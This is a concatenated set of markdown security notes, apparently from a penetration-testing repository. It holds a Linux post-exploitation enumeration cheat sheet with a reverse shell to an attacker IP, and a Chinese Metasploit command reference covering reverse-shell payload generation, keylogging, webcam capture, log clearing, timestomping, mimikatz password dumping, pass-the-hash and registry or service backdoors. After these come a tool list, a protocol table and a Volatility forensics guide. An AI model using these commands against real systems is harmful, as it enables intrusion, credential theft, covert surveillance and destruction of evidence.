/etc/sysconfig/network 102 | cat /etc/networks 103 | iptables -L 104 | hostname 105 | dnsdomainname 106 | ``` 107 | What other users & hosts are communicating with the system? 108 | ``` 109 | lsof -i 110 | lsof -i :80 111 | grep 80 /etc/services 112 | netstat -antup 113 | netstat -antpx 114 | netstat -tulpn 115 | chkconfig --list 116 | chkconfig --list | grep 3:on 117 | last 118 | w 119 | ``` 120 | Whats cached? IP and/or MAC addresses 121 | ``` 122 | arp -e 123 | route 124 | /sbin/route -nee 125 | ``` 126 | Is packet sniffing possible? What can be seen? Listen to live traffic 127 | ``` 128 | tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 129 | 130 | Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] 131 | 132 | Have you got a shell? Can you interact with the system? 133 | 134 | nc -lvp 4444 # Attacker. Input (Commands) 135 | nc -lvp 4445 # Attacker. Ouput (Results) 136 | telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! 137 | ``` 138 | Confidential Information & Users 139 | Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what? 140 | ``` 141 | id 142 | who 143 | w 144 | last 145 | cat /etc/passwd | cut -d: -f1 # List of users 146 | grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users 147 | 148 | awk -F: '($3 == "0") {print}' /etc/passwd # List of super users 149 | cat /etc/sudoers 150 | sudo -l 151 | ``` 152 | What sensitive files can be found? 153 | ``` 154 | cat /etc/passwd 155 | cat /etc/group 156 | cat /etc/shadow 157 | ls -alh /var/mail/ 158 | ``` 159 | Anything "interesting" in the home directorie(s)? If it's possible to access 160 | ``` 161 | ls -ahlR /root/ 162 | ls -ahlR /home/ 163 | ``` 164 | Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords 165 | ``` 166 | cat /var/apache2/config.inc 167 | cat /var/lib/mysql/mysql/user.MYD 168 | cat /root/anaconda-ks.cfg 169 | ``` 170 | What has the user being doing? Is there any password in plain text? What have they been edting? 171 | ``` 172 | cat ~/.bash_history 173 | cat ~/.nano_history 174 | cat ~/.atftp_history 175 | cat ~/.mysql_history 176 | cat ~/.php_history 177 | ``` 178 | What user information can be found? 179 | ``` 180 | cat ~/.bashrc 181 | cat ~/.profile 182 | cat /var/mail/root 183 | cat /var/spool/mail/root 184 | ``` 185 | reference:https://twitter.com/NandanLohitaksh/status/1519617564124450816 186 | -------------------------------------------------------------------------------- /attach/msf-command.md: -------------------------------------------------------------------------------- 1 | ## 1 | 0 0x00 payload生成: 2 | 3 | ### 1 | 1 Windows.Linux 4 | 5 | 6 | 7 | 8 | 9 | ``` 10 | Windows: 11 | msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径/文件名 12 | Linux: 13 | msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路径/文件名 14 | ``` 15 | 16 | ### 1 | 2 Web 17 | 18 | 19 | 20 | 21 | 22 | ``` 23 | PHP:msfvenom -p php/meterpreter_reverse_tcp lhost=[你的IP] lport=[端口] -f raw > 保存路径/文件名.php 24 | ASP:msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口]-f asp > 保存路径/文件名.asp 25 | JSP: msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f raw > 保存路径/文件名.jsp 26 | WAR: msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f war > 保存路径/文件名.war 27 | ``` 28 | 29 | ### 1 | 3 Android 30 | 31 | 32 | 33 | 34 | 35 | ``` 36 | Android: 37 | msfvenom -p android/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -o 保存路径/文件名.apk 38 | ``` 39 | 40 | ## 2 | 0 0x01 msfvenom命令参数: 41 | 42 | 43 | 44 | 45 | 46 | ``` 47 | 1 Options: 48 | 2 -p, --payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定 49 | 3 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all 50 | 4 -n, --nopsled 为payload预先指定一个NOP滑动长度 51 | 5 -f, --format 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) 52 | 6 -e, --encoder [encoder] 指定需要使用的encoder(编码器) 53 | 7 -a, --arch 指定payload的目标架构 54 | 8 --platform 指定payload的目标平台 55 | 9 -s, --space 设定有效攻击荷载的最大长度 56 | 10 -b, --bad-chars 设定规避字符集,比如: 'x00xff' 57 | 11 -i, --iterations 指定payload的编码次数 58 | 12 -c, --add-code 指定一个附加的win32 shellcode文件 59 | 13 -x, --template 指定一个自定义的可执行文件作为模板 60 | 14 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 61 | 15 --payload-options 列举payload的标准选项 62 | 16 -o, --out 保存payload 63 | 17 -v, --var-name 指定一个自定义的变量,以确定输出格式 64 | 18 --shellest 最小化生成payload 65 | 19 -h, --help 查看帮助选项 66 | 20 --help-formats 查看msf支持的输出格式列表 67 | ``` 68 | 69 | ## 3 | 0 0x02 常用系统命令 70 | 71 | 72 | 73 | 74 | 75 | ``` 76 | sessions #sessions –h 查看帮助 77 | sessions -i #进入会话 -k 杀死会话 78 | background #将当前会话放置后台 79 | run #执行已有的模块,输入run后按两下tab,列出已有的脚本 80 | info #查看已有模块信息 81 | getuid # 查看权限 82 | getpid # 获取当前进程的pid 83 | sysinfo # 查看目标机系统信息 84 | ps # 查看当前活跃进程 kill 杀死进程 85 | idletime #查看目标机闲置时间 86 | reboot / shutdown #重启/关机 87 | shell #进入目标机cmd shell 88 | ``` 89 | 90 | ### 3 | 1 uictl开关键盘/鼠标 91 | 92 | 93 | 94 | 95 | 96 | ``` 97 | uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标 98 | uictl disable mouse #禁用鼠标 99 | uictl disable keyboard #禁用键盘 100 | ``` 101 | 102 | ### 3 | 2 webcam摄像头命令 103 | 104 | 105 | 106 | 107 | 108 | ``` 109 | webcam_list #查看摄像头 110 | webcam_snap #通过摄像头拍照 111 | webcam_stream #通过摄像头开启视频 112 | ``` 113 | 114 | ### 3 | 3 execute执行文件 115 | 116 | 117 | 118 | 119 | 120 | ``` 121 | execute #在目标机中执行文件 122 | execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互 123 | ``` 124 | 125 | ### 3 | 4 migrate进程迁移 126 | 127 | 128 | 129 | 130 | 131 | ``` 132 | getpid # 获取当前进程的pid 133 | ps # 查看当前活跃进程 134 | migrate #将Meterpreter会话移植到指定pid值进程中 135 | kill #杀死进程 136 | ``` 137 | 138 | ### 3 | 5 clearev清除日志 139 | 140 | 141 | 142 | 143 | 144 | ``` 145 | clearev #清除windows中的应用程序日志、系统日志、安全日志 146 | ``` 147 | 148 | ## 4 | 0 0x03 文件类命令 149 | 150 | ### 4 | 1 基本文件系统命令 151 | 152 | 153 | 154 | 155 | 156 | ``` 157 | getwd 或者pwd # 查看当前工作目录 158 | ls 159 | cd 160 | search -f pass # 搜索文件 -h查看帮助 161 | cat c:lltestlltestpasswd.txt # 查看文件内容 162 | upload /tmp/hack.txt C:lltest # 上传文件到目标机上 163 | download c:lltestlltestpasswd.txt /tmp/ # 下载文件到本机上 164 | edit c:1.txt #编辑或创建文件 没有的话,会新建文件 165 | rm C:lltesthack.txt 166 | mkdir lltest2 #只能在当前目录下创建文件夹 167 | rmdir lltest2 #只能删除当前目录下文件夹 168 | getlwd 或者 lpwd #操作攻击者主机 查看当前目录 169 | lcd /tmp #操作攻击者主机 切换目录 170 | ``` 171 | 172 | ### 4 | 2 timestomp伪造时间戳 173 | 174 | 175 | 176 | 177 | 178 | ``` 179 | timestomp C:// -h #查看帮助 180 | timestomp -v C://2.txt #查看时间戳 181 | timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt 182 | ``` 183 | 184 | ## 5 | 0 0x04 网络类命令 185 | 186 | ### 5 | 1 基本网络命令 187 | 188 | 189 | 190 | 191 | 192 | ``` 193 | ipconfig/ifconfig 194 | netstat –ano 195 | arp 196 | getproxy #查看代理信息 197 | route #查看路由 198 | ``` 199 | 200 | ### 5 | 2 portfwd端口转发 201 | 202 | 203 | 204 | 205 | 206 | ``` 207 | portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口 208 | ``` 209 | 210 | ### 5 | 3 autoroute添加路由 211 | 212 | 213 | 214 | 215 | 216 | ``` 217 | run autoroute –h #查看帮助 218 | run autoroute -s 192.168.159.0/24 #添加到目标环境网络 219 | run autoroute –p #查看添加的路由 220 | ``` 221 | 222 | ### 5 | 4 利用arp_scanner、portscan等进行扫描 223 | 224 | 225 | 226 | 227 | 228 | ``` 229 | run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 #扫描192.168.1.0/24这个网段 230 | run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389 #检测192.168.1.144是否开启3389端口 231 | ``` 232 | 233 | ### 5 | 5 Socks4a代理 234 | 235 | 236 | 237 | 238 | 239 | ``` 240 | autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理 241 | msf> use auxiliary/server/socks4a 242 | msf > set srvhost 127.0.0.1 243 | msf > set srvport 1080 244 | msf > run然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080 245 | 最后proxychains 使用Socks4a代理访 246 | ``` 247 | 248 | ## 6 | 0 0x05 信息收集 249 | 250 | ### 6 | 1 信息收集的脚本位于: 251 | 252 | 253 | 254 | 255 | 256 | ``` 257 | /usr/share/metasploit-framework/modules/post/windows/gather 258 | /usr/share/metasploit-framework/modules/post/linux/gather 259 | ``` 260 | 261 | ### 6 | 2 信息收集的脚本较多,仅列几个常用的: 262 | 263 | 264 | 265 | 266 | 267 | ``` 268 | run post/windows/gather/checkvm #是否虚拟机 269 | run post/linux/gather/checkvm #是否虚拟机 270 | run post/windows/gather/forensics/enum_drives #查看分区 271 | run post/windows/gather/enum_applications #获取安装软件信息 272 | run post/windows/gather/dumplinks #获取最近的文件操作 273 | run post/windows/gather/enum_ie #获取IE缓存 274 | run post/windows/gather/enum_chrome #获取Chrome缓存 275 | run post/windows/gather/enum_patches #补丁信息 276 | run post/windows/gather/enum_domain #查找域控 277 | ``` 278 | 279 | ## 7 | 0 0x06 提权 280 | 281 | ### 7 | 1 getsystem提权 282 | 283 | 284 | 285 | 286 | 287 | ``` 288 | getsystem 289 | ``` 290 | 291 | getsystem工作原理: 292 | getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。 293 | getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。 294 | Windows服务已启动,导致与命名管道建立连接。 295 | 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。 296 | 然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。 297 | 298 | ### 7 | 2 bypassuac 299 | 300 | 内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如: 301 | 302 | 303 | 304 | 305 | 306 | ``` 307 | use exploit/windows/local/bypassuac 308 | use exploit/windows/local/bypassuac_injection 309 | use windows/local/bypassuac_vbs 310 | use windows/local/ask 311 | ``` 312 | 313 | ### 如使用bypassuac.rb脚本: 314 | 315 | 316 | 317 | 318 | 319 | ``` 320 | msf > use exploit/windows/local/bypassuac 321 | msf > set SESSION 2 322 | msf > run 323 | ``` 324 | 325 | ### 7 | 3 内核漏洞提权 326 | 327 | 可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权 328 | 329 | 330 | 331 | 332 | 333 | ``` 334 | meterpreter > run post/windows/gather/enum_patches #查看补丁信息 335 | msf > use exploit/windows/local/ms13_053_schlamperei 336 | msf > set SESSION 2 337 | msf > exploit 338 | ``` 339 | 340 | ## 8 | 0 0x07 mimikatz抓取密码 341 | 342 | 343 | 344 | 345 | 346 | ``` 347 | load mimikatz #help mimikatz 查看帮助 348 | wdigest #获取Wdigest密码 349 | mimikatz_command -f samdump::hashes #执行mimikatz原始命令 350 | mimikatz_command -f sekurlsa::searchPasswords 351 | ``` 352 | 353 | ## 9 | 0 0x08 远程桌面&截屏 354 | 355 | 356 | 357 | 358 | 359 | ``` 360 | enumdesktops #查看可用的桌面 361 | getdesktop #获取当前meterpreter 关联的桌面 362 | set_desktop #设置meterpreter关联的桌面 -h查看帮助 363 | screenshot #截屏 364 | use espia #或者使用espia模块截屏 然后输入screengrab 365 | run vnc #使用vnc远程桌面连接 366 | ``` 367 | 368 | ## 10 | 0 0x09 开启rdp&添加用户 369 | 370 | ### 10 | 1 getgui命令 371 | 372 | 373 | 374 | 375 | 376 | ``` 377 | run getgui –h #查看帮助 378 | run getgui -e #开启远程桌面 379 | run getgui -u lltest2 -p 123456 #添加用户 380 | run getgui -f 6661 –e #3389端口转发到6661getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdpgetgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆 381 | ``` 382 | 383 | ### 10 | 2 enable_rdp脚本 384 | 385 | 386 | 387 | 388 | 389 | ``` 390 | run post/windows/manage/enable_rdp #开启远程桌面 391 | run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户 392 | run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662 393 | ``` 394 | 395 | 脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb 396 | 通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令 397 | 398 | ## 11 | 0 0x10 键盘记录 399 | 400 | 401 | 402 | 403 | 404 | ``` 405 | keyscan_start #开始键盘记录 406 | keyscan_dump #导出记录数据 407 | keyscan_stop #结束键盘记录 408 | ``` 409 | 410 | ## 12 | 0 0x11 sniffer抓包 411 | 412 | 413 | 414 | 415 | 416 | ``` 417 | use sniffer 418 | sniffer_interfaces #查看网卡 419 | sniffer_start 2 #选择网卡 开始抓包 420 | sniffer_stats 2 #查看状态 421 | sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包 422 | sniffer_stop 2 #停止抓包 423 | ``` 424 | 425 | ## 13 | 0 0x12 注册表操作 426 | 427 | 428 | 429 | 430 | 431 | ``` 432 | reg –h 433 | -d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称 434 | enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据 435 | ``` 436 | 437 | ### 13 | 1 注册表设置nc后门 438 | 439 | 440 | 441 | 442 | 443 | ``` 444 | upload /usr/share/windows-binaries/nc.exe C:windowssystem32 #上传nc 445 | reg enumkey -k HKLMsoftwaremicrosoftwindowscurrentversionrun #枚举run下的key 446 | reg setval -k HKLMsoftwaremicrosoftwindowscurrentversionrun -v lltest_nc -d 'C:windowssystem32nc.exe -Ldp 443 -e cmd.exe' #设置键值 447 | reg queryval -k HKLMsoftwaremicrosoftwindowscurrentversionRun -v lltest_nc #查看键值 448 | 449 | nc -v 192.168.159.144 443 #攻击者连接nc后门 450 | ``` 451 | 452 | ## 14 | 0 0x13 令牌操纵 453 | 454 | ### 14 | 1 incognito假冒令牌 455 | 456 | 457 | 458 | 459 | 460 | ``` 461 | use incognito #help incognito 查看帮助 462 | list_tokens -u #查看可用的token 463 | impersonate_token 'NT AUTHORITYSYSTEM' #假冒SYSTEM token 464 | 或者impersonate_token NT AUTHORITYSYSTEM #不加单引号 需使用 465 | execute -f cmd.exe -i –t # -t 使用假冒的token 执行 466 | 或者直接shell 467 | rev2self #返回原始token 468 | ``` 469 | 470 | ### 14 | 2 steal_token窃取令牌 471 | 472 | 473 | 474 | 475 | 476 | ``` 477 | steal_token #从指定进程中窃取token 先ps 478 | drop_token #删除窃取的token 479 | ``` 480 | 481 | ## 15 | 0 0x14 哈希利用 482 | 483 | ### 15 | 1 获取哈希 484 | 485 | 486 | 487 | 488 | 489 | ``` 490 | run post/windows/gather/smart_hashdump #从SAM导出密码哈希 491 | #需要SYSTEM权限 492 | ``` 493 | 494 | ### 15 | 2 PSExec哈希传递 495 | 496 | 通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击 497 | 前提条件:①开启445端口 smb服务;②开启admin$共享 498 | 499 | 500 | 501 | 502 | 503 | ``` 504 | msf > use exploit/windows/smb/psexec 505 | msf > set payload windows/meterpreter/reverse_tcp 506 | msf > set LHOST 192.168.159.134 507 | msf > set LPORT 443 508 | msf > set RHOST 192.168.159.144 509 | msf >set SMBUser Administrator 510 | msf >set SMBPass aad3b4 04ee:5b5f00 c424c 511 | msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain 512 | msf >exploit 513 | ``` 514 | 515 | ## 16 | 0 0x15 添加后门维权 516 | 517 | ### 16 | 1 metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。 518 | 519 | persistence启动项后门 520 | 521 | 在C:Users AppDataLocalTemp目录下,上传一个vbs脚本 522 | 在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项 523 | 524 | 525 | 526 | 527 | 528 | ``` 529 | run persistence –h #查看帮助 530 | run persistence -X -i 5 -p 6661 -r 192.168.159.134 531 | #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip 532 | ``` 533 | 534 | 连接后门 535 | 536 | 537 | 538 | 539 | 540 | ``` 541 | msf > use exploit/multi/handler 542 | msf > set payload windows/meterpreter/reverse_tcp 543 | msf > set LHOST 192.168.159.134 544 | msf > set LPORT 6661 545 | msf > exploit 546 | ``` 547 | 548 | ### 16 | 2 metsvc服务后门 549 | 550 | 在C:Users AppDataLocalTemp上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter 551 | 552 | 553 | 554 | 555 | 556 | ``` 557 | run metsvc –h # 查看帮助 558 | run metsvc –A #自动安装后门 559 | ``` 560 | 561 | 连接后门 562 | 563 | 564 | 565 | 566 | 567 | ``` 568 | msf > use exploit/multi/handler 569 | msf > set payload windows/metsvc_bind_tcp 570 | msf > set RHOST 192.168.159.144 571 | msf > set LPORT 31337 572 | msf > exploit 573 | ``` 574 | 575 | 576 | ### Refer 577 | http://www.xingher.cn/posts/19d2a2w8.html 578 | -------------------------------------------------------------------------------- /attach/pentestingtools.md: -------------------------------------------------------------------------------- 1 | * [信息收集] 2 | * [nemo_go](#nemo_go) 3 | * [SiteScan](#sitescan) 4 | * [linglong](#linglong) 5 | * [scaninfo](#scaninfo) 6 | * [AppInfoScanner](#appinfoscanner) 7 | * [Glass](#glass) 8 | * [Banli](#banli) 9 | * [ksubdomain](#ksubdomain) 10 | * [OneForAll](#oneforall) 11 | * [Yasso](#yasso) 12 | * [ShuiZe_0x727](#shuize_0x727) 13 | * [Subfinder](#subfinder) 14 | * [GoScan](#goscan) 15 | * [SZhe_Scan](#szhe_scan) 16 | * [Raccoon](#raccoon) 17 | * [泄露扫描] 18 | * [Packer Fuzzer](#packer-fuzzer) 19 | * [JSFinder](#jsfinder) 20 | * [HostCollision](#hostcollision) 21 | * [dirsearch](#dirsearch) 22 | * [gobuster](#gobuster) 23 | * [SecretFinder](#secretfinder) 24 | * [漏洞扫描] 25 | * [xray](#xray) 26 | * [Nuclei](#nuclei) 27 | * [pocsuite3](#pocsuite3) 28 | * [Goby](#goby) 29 | * [fscan](#fscan) 30 | * [log4j-scan](#log4j-scan) 31 | * [weblogicScanner](#weblogicscanner) 32 | * [SRC批量工具] 33 | * [ARL](#arl) 34 | * [Autoscanner](#autoscanner) 35 | * [SecurityServiceBox](#securityservicebox) 36 | * [HXnineTails](#hxninetails) 37 | * [domain_hunter_pro](#domain_hunter_pro) 38 | * [BBTz](#bbtz) 39 | -------------------------------------------------------------------------------- /attach/protocolnumber.md: -------------------------------------------------------------------------------- 1 | | Decimalism | Keywords | Protocol | 2 | | :-----| :---- | :---- | 3 | | 0 | HOPOPT | IPv6 逐跳选项 4 | | 1 | ICMP | Internet 控制消息 5 | | 2 | IGMP | Internet 组管理 6 | | 3 | GGP | 网关对网关 7 | | 4 | IP | IP 中的 IP(封装) 8 | | 5 | ST | 流 9 | | 6 | TCP | 传输控制 10 | | 7 | CBT | CBT 11 | | 8 | EGP | 外部网关协议 12 | | 9 | IGP | 任何专用内部网关 (Cisco 将其用于 IGRP) 13 | | 10 | BBN-RCC-MON | BBN RCC 监视 14 | | 11 | NVP-II | 网络语音协议 15 | | 12 | PUP | PUP 16 | | 13 | ARGUS | ARGUS 17 | | 14 | EMCON | EMCON 18 | | 15 | XNET | 跨网调试器 19 | | 16 | CHAOS | Chaos 20 | | 17 | UDP | 用户数据报 21 | | 18 | MUX | 多路复用 22 | | 19 | DCN-MEAS | DCN 测量子系统 23 | | 20 | HMP | 主机监视 24 | | 21 | PRM | 数据包无线测量 25 | | 22 | XNS-IDP | XEROX NS IDP 26 | | 23 | TRUNK-1 | 第 1 主干 27 | | 24 | TRUNK-2 | 第 2 主干 28 | | 25 | LEAF-1 | 第 1 叶 29 | | 26 | LEAF-2 | 第 2 叶 30 | | 27 | RDP | 可靠数据协议 31 | | 28 | IRTP | Internet 可靠事务 32 | | 29 | ISO-TP4 | ISO 传输协议第 4 类 33 | | 30 | NETBLT | 批量数据传输协议 34 | | 31 | MFE-NSP | MFE 网络服务协议 35 | | 32 | MERIT-INP | MERIT 节点间协议 36 | | 33 | SEP | 顺序交换协议 37 | | 34 | 3PC | 第三方连接协议 38 | | 35 | IDPR | 域间策略路由协议 39 | | 36 | XTP | XTP 40 | | 37 | DDP | 数据报传送协议 41 | | 38 | IDPR-CMTP | IDPR 控制消息传输协议 42 | | 39 | TP++ TP++ | 传输协议 43 | | 40 | IL IL | 传输协议 44 | | 41 | IPv6 | Ipv6 45 | | 42 | SDRP | 源要求路由协议 46 | | 43 | IPv6-Route IPv6 | 的路由标头 47 | | 44 | IPv6-Frag IPv6 | 的片断标头 48 | | 45 | IDRP | 域间路由协议 49 | | 46 | RSVP | 保留协议 50 | | 47 | GRE | 通用路由封装 51 | | 48 | MHRP | 移动主机路由协议 52 | | 49 | BNA | BNA 53 | | 50 | ESP | IPv6 的封装安全负载 54 | | 51 | AH | IPv6 的身份验证标头 55 | | 52 | I-NLSP | 集成网络层安全性 TUBA 56 | | 53 | SWIPE | 采用加密的 IP 57 | | 54 | NARP | NBMA 地址解析协议 58 | | 55 | MOBILE | IP 移动性 59 | | 56 | TLSP | 传输层安全协议 使用Kryptonet 密钥管理 60 | | 57 | SKIP | SKIP 61 | | 58 | IPv6-ICMP | 用于 IPv6 的 ICMP 62 | | 59 | IPv6-NoNxt | 用于 IPv6 的无下一个标头 63 | | 60 | IPv6-Opts | IPv6 的目标选项 64 | | 61 | | 任意主机内部协议 65 | | 62 | CFTP | CFTP 66 | | 63 | | 任意本地网络 67 | | 64 | SAT-EXPAK | SATNET 与后台 EXPAK 68 | | 65 | KRYPTOLAN | Kryptolan 69 | | 66 | RVD MIT | 远程虚拟磁盘协议 70 | | 67 | IPPC Internet Pluribus | 数据包核心 71 | | 68 | | 任意分布式文件系统 72 | | 69 | SAT-MON | SATNET 监视 73 | | 70 | VISA| VISA 协议 74 | | 71 | IPCV | Internet 数据包核心工具 75 | | 72 | CPNX| 计算机协议网络管理 76 | | 73 | CPHB| 计算机协议检测信号 77 | | 74 | WSN | 王安电脑网络 78 | | 75 | PVP | 数据包视频协议 79 | | 76 | BR-SAT-MON 后台 | SATNET 监视 80 | | 77 | SUN-ND | SUN ND PROTOCOL-Temporary 81 | | 78 | WB-MON | WIDEBAND 监视 82 | | 79 | WB-EXPAK WIDEBAND EXPAK 83 | | 80 | ISO-IP ISO | Internet 协议 84 | | 81 | VMTP | VMTP 85 | | 82 | SECURE-VMTP | SECURE-VMTP 86 | | 83 | VINES | VINES 87 | | 84 | TTP | TTP 88 | | 85 | NSFNET-IGP | NSFNET-IGP 89 | | 86 | DGP | 异类网关协议 90 | | 87 | TCF | TCF 91 | | 88 | EIGRP | EIGRP 92 | | 89 | OSPFIGP | OSPFIGP 93 | | 90 | Sprite-RPC | Sprite RPC 协议 94 | | 91 | LARP | 轨迹地址解析协议 95 | | 92 | MTP | 多播传输协议 96 | | 93 | AX.25 | AX.25 帧 97 | | 94 | IPIP | IP 中的 IP 封装协议 98 | | 95 | MICP | 移动互联控制协议 99 | | 96 | SCC-SP | 信号通讯安全协议 100 | | 97 | ETHERIP | IP 中的以太网封装 101 | | 98 | ENCAP | 封装标头 102 | | 99 | | 任意专用加密方案 103 | | 100 | GMTP | GMTP 104 | | 101 | IFMP | Ipsilon 流量管理协议 105 | | 102 | PNNI | IP 上的 PNNI 106 | | 103 | PIM | 独立于协议的多播 107 | | 104 | ARIS | ARIS 108 | | 105 | SCPS | SCPS 109 | | 106 | QNX | QNX 110 | | 107 | A/N | 活动网络 111 | | 108 | IPComp | IP 负载压缩协议 112 | | 109 | SNP Sitara | 网络协议 113 | | 110 | Compaq-Peer Compaq | 对等协议 114 | | 111 | IPX-in-IP | IP 中的 IPX 115 | | 112 | VRRP | 虚拟路由器冗余协议 116 | | 113 | PGM |PGM 可靠传输协议 117 | | 114 | 任意 | 0 跳协议 118 | | 115 | L2TP | 第二层隧道协议 119 | | 116 | DDX | D-II 数据交换 (DDX) 120 | | 117 | IATP | 交互式代理传输协议 121 | | 118 | STP | 计划传输协议 122 | | 119 | SRP | SpectraLink 无线协议 123 | | 120 | UTI | UTI 124 | | 121 | SMP | 简单邮件协议 125 | | 122 | SM | SM 126 | | 123 | PTP | 性能透明协议 127 | | 124 | ISIS | over IPv4 128 | | 125 | FIRE | 129 | | 126 | CRTP | Combat 无线传输协议 130 | | 127 | CRUDP | Combat 无线用户数据报 131 | | 128 | SSCOPMCE | 132 | | 129 | IPLT | 133 | | 130 | SPS | 安全数据包防护 134 | | 131 | PIPE | IP 中的专用 IP 封装 135 | | 132 | SCTP | 流控制传输协议 136 | | 133 | FC | 光纤通道 137 | | 134-254 | 未分配 138 | | 255 | 保留| 139 | -------------------------------------------------------------------------------- /attach/volatility2.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## 格式 4 | > [!warning] 5 | > 在分析之前,需要先判断当前的镜像信息,分析出是哪个操作系统 命令imageinfo即可获取镜像信息。 6 | ``` 7 | volatility -f xxx.vmem imageinfo 8 | ``` 9 | 在查到操作系统后如果不确定可以使用以下命令查看 10 | ``` 11 | volatility - f xxx.vmem --profile= [操作系统] volshell 12 | ``` 13 | ## 常用命令插件 14 | 可以先查看当前内存镜像中的用户printkey -K "SAM\Domains\Account\Users\Names" 15 | ``` 16 | volatility -f 1.vmem –profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names" 17 | ``` 18 | 查看用户名密码信息(密码是哈希值,需要john爆破) hashdump 19 | > 查看当前操作系统中的 password hash,例如 Windows 的 SAM 文件内容(mimikatz插件可以获取系统明文密码) 20 | ``` 21 | volatility -f 1.vmem --profile=Win7SP1x64 hashdump 22 | ``` 23 | 如果john爆破不出来,就使用 lasdmp 查看强密码 lsadmp 24 | ``` 25 | volatility -f 1.vmem --profile=Win7SP1x64 lsadump 26 | ``` 27 | 查看进程pslist 28 | > pslist:该插件列举出系统进程,但它不能检测到隐藏或者解链的进程,psscan可以 29 | ``` 30 | volatility -f 1.vmem --profile=Win7SP1x64 pslist 31 | ``` 32 | 查看已知进程pslist 33 | ``` 34 | volatility -f 1.vmem --profile=Win7SP1x64 pslist -p 2588 35 | ``` 36 | 隐藏或解链的进程psscan 37 | > psscan:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程 38 | ``` 39 | volatility -f 1.vmem --profile=Win7SP1x64 psscan 40 | ``` 41 | 查看服务 查询服务名称svcscan(svcscan:扫描 Windows 的服务) 42 | ``` 43 | volatility -f 1.vmem --profile=Win7SP1x64 svcscan 44 | ``` 45 | 查看浏览器历史记录,获取当前系统浏览器搜索过的关键词 iehistory 46 | ``` 47 | volatility -f 1.vmem --profile=Win7SP1x64 iehistory 48 | ``` 49 | 查看网络连接 获取当前系统 ip netscan 50 | ``` 51 | volatility -f 1.vmem --profile=Win7SP1x64 netscan 52 | ``` 53 | 有一些版本 这个命令是使用不了 这里我们就要使用(connscan,connections) 54 | 查看网络连接connscan 55 | ``` 56 | volatility -f 1.vmem --profile=Win7SP1x64 connscan 57 | ``` 58 | 查看网络连接connections 59 | ``` 60 | volatility -f 1.vmem --profile=Win7SP1x64 connections 61 | ``` 62 | 查看命令行操作,显示cmd历史命令 cmdscan 63 | ``` 64 | volatility -f 1.vmem --profile=Win7SP1x64 cmdscan 65 | ``` 66 | 扫描所有的文件列表 filescan 67 | ``` 68 | volatility -f 1.vmem --profile=Win7SP1x64 filescan 69 | ``` 70 | > (linux配合 grep 命令进行相关字符定向扫描,如:grep flag、grep -E ‘png|jpg|gif|zip|rar|7z|pdf|txt|doc’) 71 | 例如 72 | ``` 73 | volatility -f 1.vmem --profile=Win7SP1x64 filescan grep "flag.txt" 74 | cat system.txt|grep -i computername 75 | ``` 76 | 查看文件内容dmpfiles 77 | ``` 78 | volatility -f 1.vmem --profile=Win7SP1x64 dumpfiles -Q 0xxxxxxxx -D ./ 79 | ``` 80 | 需要指定偏移量 -Q 和输出目录 -D 81 | 82 | dumpfiles:导出某一文件(指定虚拟地址) 83 | 84 | 查看当前展示的notepad内容 notepad 85 | > 查看当前展示的 notepad 文本(–profile=winxp啥的低版本可以,win7的不行,可以尝试使用editbox) 86 